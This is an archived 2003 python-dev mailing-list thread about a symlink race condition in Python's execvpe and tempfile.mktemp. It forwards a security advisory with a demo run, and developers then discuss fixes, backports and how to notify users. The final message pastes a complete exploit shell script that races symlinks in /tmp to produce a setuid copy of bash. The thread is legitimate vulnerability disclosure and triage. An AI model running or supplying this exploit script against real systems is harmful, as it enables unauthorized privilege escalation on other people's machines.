FWD: Python execvpe symlink race condition.

Not sure what to do about this, but I don't have the time to check into it. ----- Forwarded message from Access-=-Denied support <info@ad2u.gr> -----
Forwarded-By: aahz@pythoncraft.com Reply-To: info@ad2u.gr To: webmaster@python.org Subject: Python execvpe symlink race condition. From: Access-=-Denied support <info@ad2u.gr> Organization: Access-=-Denied Date: Sun, 16 Feb 2003 03:33:38 -0000
Dear webmaster,
The proof of concept code will be published in a few days. That will leave you plenty of time to deal with the bug.
Looking forward to hearing from you,
Access-=-Denied support
START OF ADVISORY -----------------
AD2U Security Advisory -- 15/02/2003
Python 2.2.x execvpe Symlink Race Condition
Summary --------
A Symlink race condition exists in all version of Python programming language. Probably any posix system running python is vulnerable.
#### IMPORTANT #### This vulnerability is not closely related to the recent execvpe vulnerability, but the idea is derived from there.
Description ----------------
The vulnerability can be observed in two library files that come with python.
tempfile.py at def mktemp(suffix=""): ************************************* while 1: i = _counter.get_next() file = os.path.join(dir, pre + str(i) + suffix) if not os.path.exists(file): return file
os.py at def _execvpe(file, args, env=None): ******************************************** import tempfile t = tempfile.mktemp() # Exec a file that is guaranteed not to exist try: execv(t, ('blah',)) except error, _notfound: pass
It is possible, to create a link of the file to be executed (t) in the limited time window between the statements os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are executed.
IMPACT ------
Python is not running suid on most platforms, so to gain root privileges is a little hard. However, you can attack scripts that use execvpe function and you will gain the privileges of the user running the script.
PATCH -----
The vulnerability of the tempfile.mktemp() function is known, and python have "declared" mktemp() deprecated. Af far it concerns the execvpe function, because it uses mktemp() function it is vulnerable to this attack.
Vendor has been notified.
Exploit -------
There is exploit code available for this bug and will be published soon.
A simple run of the epxloit is demonstrated below:
root@prezaki:~# ./python.sh Python 2.2.x Symlink Race Condition exploit Access-=-Denied Networks (c) mzozd@ad2u.gr, 2003 This is a proof of concept code!!! For educational purposes only Creating suidshell script Building python file... Be patient, it will take a few moments ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... ...................................................................... You got your suidshell... -rwsr-xr-x 1 root root 532960 Feb 15 02:42 /tmp/.sh Cleaning environment
root@prezaki:~#
DISCLAIMER ----------
The author(s) does(do) not have any responsibility for any malicious use of this advisory or proof of concept code. The code and the information provided here are for educational purposes only. The author(s) will NOT be held responsible for any direct or indirect damages caused by the information or the code provided here. This advisory is OPEN for public distribution EXCEPT for Symantec Corporation, Security Focus, Bugtraq or any other company affiliated with Symantec. Articles that are based on the information posted here SHOULD include a link to this advisory or clearly refer the SOURCE. This disclaimer is not to be modified by any means and must be included 'as-is' in other documents. The material provided here, in any form, is copyright property of Access-=-Denied Networks.
Acknowledgements ----------------
Discovery and proof of concept code by MzOzD Email at mzozd@ad2u.gr
REFERENCES ----------
RHSA-2002:202-33.txt ADVISORY http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=156556 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1119
----- End forwarded message ----- -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html

Aahz <aahz@pythoncraft.com> writes:
Not sure what to do about this, but I don't have the time to check into it. ...
os.py at def _execvpe(file, args, env=None): ******************************************** import tempfile t = tempfile.mktemp() # Exec a file that is guaranteed not to exist try: execv(t, ('blah',)) except error, _notfound: pass
It is possible, to create a link of the file to be executed (t) in the limited time window between the statements os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are executed.
That is exactly the signature of one of the tempfile bugs that I fixed. I do not know whether any official 2.2.x release has yet occurred that includes the bugfix. zw

It is possible, to create a link of the file to be executed (t) in the limited time window between the statements os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are executed.
That is exactly the signature of one of the tempfile bugs that I fixed. I do not know whether any official 2.2.x release has yet occurred that includes the bugfix.
That's what I suspected. Did you check that into the 2.2.x maint branch? (I remember that you did, but I'm triple-checking.) -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html

Aahz <aahz@pythoncraft.com> writes:
It is possible, to create a link of the file to be executed (t) in the limited time window between the statements os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are executed.
That is exactly the signature of one of the tempfile bugs that I fixed. I do not know whether any official 2.2.x release has yet occurred that includes the bugfix.
That's what I suspected. Did you check that into the 2.2.x maint branch? (I remember that you did, but I'm triple-checking.)
I don't have write privileges. I thought that it was checked into the 2.2.x maint branch but I don't actually know. zw

[Aahz, quoting an anonymous security report]
It is possible, to create a link of the file to be executed (t) in the limited time window between the statements os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are executed.
[Zack]
That is exactly the signature of one of the tempfile bugs that I fixed. I do not know whether any official 2.2.x release has yet occurred that includes the bugfix.
[Aahz]
That's what I suspected. Did you check that into the 2.2.x maint branch? (I remember that you did, but I'm triple-checking.)
[Zack]
I don't have write privileges. I thought that it was checked into the 2.2.x maint branch but I don't actually know.
Zack's changes to tempfile.py were *not* checked into Python 2.2 -- they require API changes that are difficult to justify. (The changes by Zack that you remember being checked into 2.2 were execve.) A problem with Zack's tempfile changes is that many uses of mktemp are perfectly safe, and the warning is so annoying that I decided to disable the warning. I'm not quite sure what to do now. --Guido van Rossum (home page: http://www.python.org/~guido/)

Guido van Rossum <guido@python.org> writes:
[Aahz, quoting an anonymous security report]
It is possible, to create a link of the file to be executed (t) in the limited time window between the statements os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are executed.
[Zack]
That is exactly the signature of one of the tempfile bugs that I fixed. I do not know whether any official 2.2.x release has yet occurred that includes the bugfix.
[Aahz]
That's what I suspected. Did you check that into the 2.2.x maint branch? (I remember that you did, but I'm triple-checking.)
[Zack]
I don't have write privileges. I thought that it was checked into the 2.2.x maint branch but I don't actually know.
Zack's changes to tempfile.py were *not* checked into Python 2.2 -- they require API changes that are difficult to justify. (The changes by Zack that you remember being checked into 2.2 were execve.)
The present report should have been addressed by the execve changes. zw

On Sun, 2003-02-16 at 12:51, Guido van Rossum wrote:
Zack's changes to tempfile.py were *not* checked into Python 2.2 -- they require API changes that are difficult to justify. (The changes by Zack that you remember being checked into 2.2 were execve.)
A problem with Zack's tempfile changes is that many uses of mktemp are perfectly safe, and the warning is so annoying that I decided to disable the warning.
I'm not quite sure what to do now.
If the exec problems were fixed in 2.2, doesn't that address the currently reported vulnerability? I glanced at the Debian bug report and saw that it was reporting an exploit against 2.1.3. I see some value in doing a 2.1.4 release, but not enough value to justify the work. Aren't the changes in tempfile primarily the addition of new functions (mkstemp, mkdtemp)? I think it would be good to backport new functions that address security issues. Were there changes to the behavior of mktemp(), too? It seems hard to justify an incompatible change to existing functions. Jeremy

If the exec problems were fixed in 2.2, doesn't that address the currently reported vulnerability?
Correct.
I glanced at the Debian bug report and saw that it was reporting an exploit against 2.1.3. I see some value in doing a 2.1.4 release, but not enough value to justify the work.
Same here.
Aren't the changes in tempfile primarily the addition of new functions (mkstemp, mkdtemp)? I think it would be good to backport new functions that address security issues. Were there changes to the behavior of mktemp(), too? It seems hard to justify an incompatible change to existing functions.
I think mktemp()'s API is unchanged if you don't count the warning (which I disabled anyway). However the name template used for temporary files is very different -- could this affect applications? --Guido van Rossum (home page: http://www.python.org/~guido/)

-----Original Message----- From: python-dev-admin@python.org [mailto:python-dev-admin@python.org] On Behalf Of Guido van Rossum
I glanced at the Debian bug report and saw that it was reporting an exploit against 2.1.3. I see some value in doing a 2.1.4 release, but not enough value to justify the work.
Same here.
Shouldn't there be at least some notification to the community at large? Something that requires the least amount of work possible short of doing nothing at all. Like a notice that 2.1.3 has known security vulnerabilities, and the recommended fix is to upgrade to 2.2.2 posted on http://www.python.org/2.1/ , http://www.python.org/2.1.3/ and python-announce. And possibly a python-security list for the future that security minded people can subscribe to.

Shouldn't there be at least some notification to the community at large? Something that requires the least amount of work possible short of doing nothing at all. Like a notice that 2.1.3 has known security vulnerabilities, and the recommended fix is to upgrade to 2.2.2 posted on http://www.python.org/2.1/ , http://www.python.org/2.1.3/ and python-announce. And possibly a python-security list for the future that security minded people can subscribe to.
I don't think that would send the right message. There's no need to panic -- it's pretty tough to imagine how this vulnerability could be exploited, but a message recommending that everyone upgrade would not make this clear. --Guido van Rossum (home page: http://www.python.org/~guido/)

On Sun, 2003-02-16 at 14:31, Guido van Rossum wrote:
I think mktemp()'s API is unchanged if you don't count the warning (which I disabled anyway). However the name template used for temporary files is very different -- could this affect applications?
It shouldn't affect any applications, but I'm sure it will. The pattern is so simple that there's probably code to delete tempfiles based on the pattern. Some unfortunate program probably uses mktemp() + re to get the pid <0.9 wink>. However, we can add the two new functions and have them use the new pattern. This won't break any existing code, but will let people fix their programs without upgrading to 2.3. Jeremy

Not to beat a dead horse, but the exploit code is published at: http://www.ad2u.gr/index.php?topic=Exploits It does work on my (unpatched vmware) RedHat 7.3. Although (as the notice stated), it creates a suidshell as the user who runs the script, not root. It also needs to be modified to use python2 on RedHat Here's the code: #!/bin/sh echo "Python < 2.2.2 Symlink Race Condition exploit" echo "Access-=-Denied Networks (c) mzozd@ad2u.gr, 2003" echo "This is a proof of concept code!!! For educational purposes only" evilcmd="#!/bin/sh\ncp /bin/bash /tmp/.sh\nchmod 4755 /tmp/.sh\n" status="??" echo "Creating suidshell script" echo -e $evilcmd > /tmp/runme.sh chmod 755 /tmp/runme.sh perl -e 'while (1) { open ps,"ps -ef | grep -v grep | grep -v PID |"; while (<ps>) {@args = split " ", $_;if (/python/) {$args[2] = "@"; symlink("/tmp/runme.sh","/tmp/$args[2]$args[1].0");}}}'& echo "Building python file..." echo -e "import os\nos.execvpe('echo',['echo','-n','.'],os.environ)" > /tmp/python.py echo "Be patient, it will take a few moments" while [ "$status" != "ok" ] do python /tmp/python.py if test -e /tmp/.sh; then status="ok" fi done echo -e "\nYou got your suidshell..." ls -al /tmp/.sh echo "Cleaning environment" killall -9 perl rm -rf /tmp/runme.sh /tmp/*.0 /tmp/python.py
participants (5)
-
Aahz
-
Guido van Rossum
-
Jeremy Hylton
-
logistix
-
Zack Weinberg